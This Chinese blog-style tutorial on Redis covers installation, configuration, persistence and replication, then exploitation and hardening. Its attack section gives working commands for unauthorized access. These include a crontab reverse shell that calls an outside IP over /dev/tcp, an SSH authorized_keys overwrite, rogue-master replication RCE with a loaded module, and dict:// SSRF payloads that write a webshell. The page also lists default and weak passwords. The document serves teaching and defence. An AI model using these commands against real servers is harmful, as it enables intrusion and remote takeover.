Redis安全问题

本文介绍了Redis的内存数据库特性,应用场景如session共享、消息队列等,详细阐述了安装、配置、主从复制、持久化以及常见的攻击手法和防御手段。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Redis是一个开源的基于内存的而且目前比较流行的键值数据库(key-value-database),是一个非关系型数据库,提供了易扩展、高性能、具备数据持久性等功能。

redis典型应用场景

  • session共享:常见于web集群中的tomcat或者php中多web服务器session共享
  • 缓存:数据查询、电商网站商品信息、新闻内容
  • 计数器:访问排行榜、商品浏览数等和次数相关的数值统计场景
  • 微博/微信社交场合:共同好友、粉丝数、关注、点赞评论等
  • 消息队列:ELK的日志缓存、部分业务的订阅发布系统
  • 地理位置:基于GEO(地理信息定位),实现摇一摇,附近的人,外卖等功能

redis安装与使用

yum安装redis

yum -y install redis
systemctl enable --now redis

编译安装

http://download.redis.io/releases/  #5.0.4

#依赖包
yum -y install gcc jemalloc-devel

#指定安装目录
cd redis-6.0.7
make PREFIX=/apps/redis install

#配置环境变量
echo 'PATH=/apps/redis/bin:$PATH' > /etc/profile.d/redis.sh

#创建配置文件
mkdir /apps/redis/{etc,log,data,run}
cp redis.conf /apps/redis/etc/

#创建软链接
ln -sv /apps/redis/bin/redis-* /usr/bin

#创建redis用户和数据目录
useradd -r -s /sbin/nologin redis

#设置目录权限
chown -R redis.redis /apps/redis/

#前台启动
redis-server /apps/redis/etc/redis.conf

设置启动文件:

vim /usr/lib/systemd/system/redis.service

[Unit]
Description=Redis persisten key-value database After=network.target

[Service]
ExecStart=/apps/redis/bin/redis-server /apps/redis/etc/redis.conf --supervised systemd
ExecStop=/bin/kill -s QUIT $MAINPID
Type=notify
User=redis
Group=redis
RuntimeDirectory=redis
RuntimeDirectoryMode=0755

[Install]
WantedBy=multi-user.target

连接工具

Windows:https://github.com/MicrosoftArchive/redis/releases
Redis GUI :RedisDesktopManafer

Redis配置选项

#监听地址,可以用空格隔开后多个监听IP
bind 0.0.0.0

#在没有设置bind IP和密码的时候,redis只允许访问127.0.0.1:6379
protected-mode yes

#监听端口
port 6379

#pid文件路径
pidfile /var/run/redis_6379.pid

#日志级别,四种debug、verbose、notice、warning
loglevel notice

#快照文件名
dbfilename dump.rdb

#设置Redis-server密码,默认密码:foobared
requirepass 123456

CONFIG动态修改配置

config命令用于查看当前redis配置、以及不重启redis服务实现动态更改redis配置等
注意:不是所有配置都可以动态修改,且此方法无法持久保存

#命令可以动态地调整Redis服务器的配置(configuration)而无需重启
CONFIG SET parameter value

#命令用于取得运行中的Redis服务器配置参数
CONFIG GET parameter

#设置密码
127.0.0.1:6379> CONFIG GET requirepass

#获取当前配置
config get *

#查看bind
CONFIG GET bind

#更改最大内存
CONFIG GET maxmemory 8589934529

Redis常用命令

https://redis.io/commands
http://redisdoc.com/

#查看服务器是否运行正常
PING

#显示当前节点信息
INFO

#查看当前数据库下的所有key,此命令慎用
KEYS

#保存数据
SAVE

#手动在后台执行RDB持久化操作
BGSAVE

#当前库下的所有key数量
DBSIZE

#强制清空当前库中的所有key
FLUSHDB

#强制清空当前redis服务器所有数据库中的所有key,此命令慎用
FLUSHALL
save于bgsave区别

SAVE直接调用rdbSave函数,阻塞Redis主进程,知道保存完成为止。在主进程阻塞期间,服务器不能处理客户端的任意请求。
如果数据量小,此命令可能感觉不出有什么区别,但是当数据量很大的时候,就需要谨慎使用这个命令

BGSAVE命令执行之后会fork出一个新子进程,原来redis进程(父进程)继续处理客户端请求,而子进程则负责将数据保存到磁盘,然后退出

Redis持久化

redis提供了两种持久化的方式,分别是RDB(Redis Database)和AOF(Append Only File)

  • RDB,简而言之,就是在不同的时间点,将redis数据生成快照并存储到磁盘等介质上
  • APF,则是换了一个角度来实现持久化,那就是将redis执行过的所有指令记录下来,在下次redis重启时,只要把这些指令从前到后在重复执行一遍,就可以实现数据恢复了

AOF持久化相关配置

#开启AOF持久化
appendonly no

#指定aof文件名字
appendfilename "appendonly.aof"

#aof文件增幅达到10%时则会触发重写机制
auto-aof-rewrite-percentage 10

#设置yes,可避免当写入量非常大时的磁盘io阻塞
no-appendfsync-on-rewrite no

Redis主从配置

当Redis服务器本身出现系统故障、硬件故障等问题后,就会直接造成数据的丢失,因此需要使用另外的技术来解决单点故障和性能扩展的问题。
主从模式可以实Redis数据跨主机备份

主从复制实现:
Redis Slave需要开启持久化并设置和master相同的密码,因为后期slave会有提升为master的可能,Slave切换为master同步后会丢失之前的所有数据,而通过持久化可以恢复数据。
一个Slave称为master时,Slave服务会清空当前Redis服务器上的所有数据并将master的数据导入自己的内存。
主从复制的特点:

  • 一个master可以有多个slave
  • 一个slave只能有一个master
  • 数据流向是单向,从master到slave

Slave配置:

#设置主从复制
127.0.0.1:6379> REPLICAOF 192.168.0.0(master) 6379
ok
127.0.0.1:6379> CONFIG SET masterauth 123456
ok

#删除主从同步
REPLICAOF no one

早期版本使用SLAVEOF命令
配置文件方法:

vim /etc/redis.conf

replicaoif 192.168.0.0 6379
masterauth 123456

#之后重启

#查看状态
info replication

主从复制故障恢复操作:

1.停止slave同步并提升为新的master

#取消主从同步,提升为master
REPLICAOF NO ONE

2.修改所有slave指向新的master节点

主从同步过程

  1. slave连接master,发送PSYNC命令
  2. master收到PSYNC命令后,执行BGSAVE命令生成RDB快照文件并使用缓冲区记录此后执行的所有写命令
  3. master的BGSAVE执行完成后,向所有slave发送RDB快照文件,并在发送期间继续记录被执行的写命令
  4. slave收到快照文件后丢弃所有旧数据,载入收到的快照至内存中
  5. master快照发送完毕后,开始向slave发送缓冲区中的写命令
  6. slave完成对快照的载入,开始接收命令请求,并执行来自master缓冲区的写命令
  7. 后期同步会先发送自己的slave_repl_offset位置,只同步新增加的数据,不再全量同步

常见攻击手法

Redis低版本默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样会将Redis服务暴露在公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据

Redis默认密码为:foobared
弱密码:123456 111111

协议分析

Redis有两种协议

  • 纯文本方式:

SET keyname value \n

  • Custom(自定义)

*3\r\n$3\r\nSET\r\n$7\r\nkeyname\r\n$5\r\nvalue\r\n

请求与响应格式:
image.png
协议格式:
image.png

redis未授权检测脚本编写思路:
利用socket请求并发送请求

\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a
*1
$4
info

从数据包中获取内容并判断存有redis_version关键字,有的话则是存在未授权漏洞

利用crontab反弹shell

条件

  • root权限
  • 目录可写
  • 可出网
#查看当前路径
CONFIG GET dir

#查看数据库文件,后续用
CONFIG GET dbfilename

#设置目录
CONFIG SET DIR /var/spool/cron.

#反弹shell内容
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/124.221.192.68/4141 0>&1\n\n\n"

#将数据库名称改为root
CONFIG SET DBFILENAME root

#保存文件
bgsave

#删除-.-
del -.-

#还原
config set dir /apps/redis/data
config set dbfilename dump.rdb

kali:

nc -v -l -p 4242

\n\n\n是redis数据文件中有其它数据,为了避免写入内容造成破坏使用换行符
image.png

注意事项:

  • 在生产环境中使用key*,会导致挂掉

利用公钥获取服务器权限

条件:

  • root权限
  • 目录可写

kali:

#查看当前路径
CONFIG GET dir

#查看数据库文件,后续恢复利用
CONFIG GET dbfilename

#生成密钥
ssh-keygen -t rsa

#将公钥信息进行分行,避免写入的时候造成影响
(echo -e "\n\n"; cat id_rsa.pub; echo e "\n\n") > test.txt

#将公钥写入
cat test.txt | redis-cli -h 192.168.0.0 -x set test

#获取备份路径
CONFIG GET DIR

#更改为公钥存放目录
CONFIG SET DIR "/root/.ssh"

#重命名,如果存在会覆盖
CONFIG SET DBFILENAME "authorized_keys"

#保存
save

#删除test
del test

#还原
config set dir /usr/local/redis/data
config set dbfilename dump.rdb

如果得知目标网站路径,也可利用此方法获取webshell

Redis基于主从复制RCE

在redis4.x之后,redis新增了模块功能,通过外部扩展可以实现一个redis新的命令,通过写c语言并编译出.so文件。
利用方式:

伪装成redis数据库,在受害者将我们的数据库设置为主节点。
第二步,我们设置备份文件为so文件
第三步,设置传输方式全量传输
第四步,加载so

https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/yuyan-sec/RedisEXP

docker pull vertigo/redis4
  1. 将redis设置为slave
SLAVEOF server port

2.设置数据库文件

CONFIG SET dbfilename exp.so

3.从rogue server接收module

+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>

4.加载模块

MODULE LOAD ./exp.so

基于SSRF场景下利用Redis

#连接远程主服务器
dict://127.0.0.1:6379/slaveof:r3start.net:2323

#内容,不是基于主从
dict://127.0.0.1:6379/set:xxxxxxx:1111111

#设置保存文件名
dict://127.0.0.1:6379/config:set:dbfilename:test.php

#保存
dict://127.0.0.1:6379/save

#断开主从
dict://127.0.0.1:6379/slaveof:no:one

防御手段

1.禁止使用root权限启动redis服务

#创建redis用户和数据目录
useradd -r -s /sbin/nologin redis

#设置目录权限
chown -R redis.redis /apps/redis/

2.对redis访问启动密码认证

#设置密码
CONFIG SET requirepass 强密码
ok

3.添加IP访问限制,不允许0.0.0.0

#reids,conf监听地址,可以用空格隔开后多个监听IP
bind 127.0.0.1

4.更改命令

#将config命令更改为ccav.config,这样可以避免误操作,但如果使用了AOF持久化,建议不要开启该功能
rename-command CONFIG ccav.config

#也可以后面定义为空,这样就禁掉了该CONFIG命令
rename-command CONFIG ""

https://www.runoob.com/mongodb/nosql.html
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值